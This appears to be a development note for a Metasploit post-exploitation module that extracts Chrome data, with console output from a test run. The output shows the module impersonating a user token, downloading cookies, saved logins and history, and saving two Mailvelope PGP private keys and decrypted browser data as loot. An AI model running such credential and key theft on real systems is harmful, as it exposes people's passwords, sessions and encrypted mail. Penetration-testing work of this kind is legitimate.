extension and pref parsing

Hopefully open the doors a bit for more extension goodies extraction, starting with Mailvelop's email PGP keys. ;-) Thanks for not storing them encrypted Mailvelop

```
[*] Impersonating token: 1888
[*] Running as user 'target1\user'...
[*] Extracting data for user 'user'...
[*] Downloaded Web Data to '/root/.msf4/loot/20130509131921_default_192.168.92.129_chrome.raw.WebD_359363.txt'
[*] Downloaded Cookies to '/root/.msf4/loot/20130509131924_default_192.168.92.129_chrome.raw.Cooki_322579.txt'
[*] Downloaded History to '/root/.msf4/loot/20130509131927_default_192.168.92.129_chrome.raw.Histo_403729.txt'
[*] Downloaded Login Data to '/root/.msf4/loot/20130509131930_default_192.168.92.129_chrome.raw.Login_403779.txt'
[-] Bookmarks not found
[*] Downloaded Preferences to '/root/.msf4/loot/20130509131936_default_192.168.92.129_chrome.raw.Prefe_768044.txt'
[*] Extensions installed:
[*] => Chrome Web Store
[*] => Google Docs
[*] => Google Drive
[*] => YouTube
[*] => Google Search
[*] => Bookmark Manager
[*] => Settings
[*] => Mailvelope
[+] ==> Found Mailvelope extension, extracting PGP keys
[*] ==> Downloading Mailvelope database...
[*] ==> Downloaded to /root/.msf4/loot/20130509131945_default_192.168.92.129_chrome.ext.mailv_847903.txt
[+] ==> Found 2 private key(s)!
[*] ==> Saving private key to: /root/.msf4/loot/20130509131947_default_192.168.92.129_chrome.mailvelop_732870.txt
[*] ==> Saving private key to: /root/.msf4/loot/20130509131947_default_192.168.92.129_chrome.mailvelop_799138.txt
[+] ==> Found 2 public key(s)!
[*] ==> Saving public key to: /root/.msf4/loot/20130509131947_default_192.168.92.129_chrome.mailvelop_662646.txt
[*] ==> Saving public key to: /root/.msf4/loot/20130509131947_default_192.168.92.129_chrome.mailvelop_617088.txt
[*] => Cloud Print
[*] => Chrome
[*] => Gmail
[*] Decrypted data saved in: /root/.msf4/loot/20130509131947_default_192.168.92.129_chrome.decrypted_545105.txt
[*] Post module execution completed
```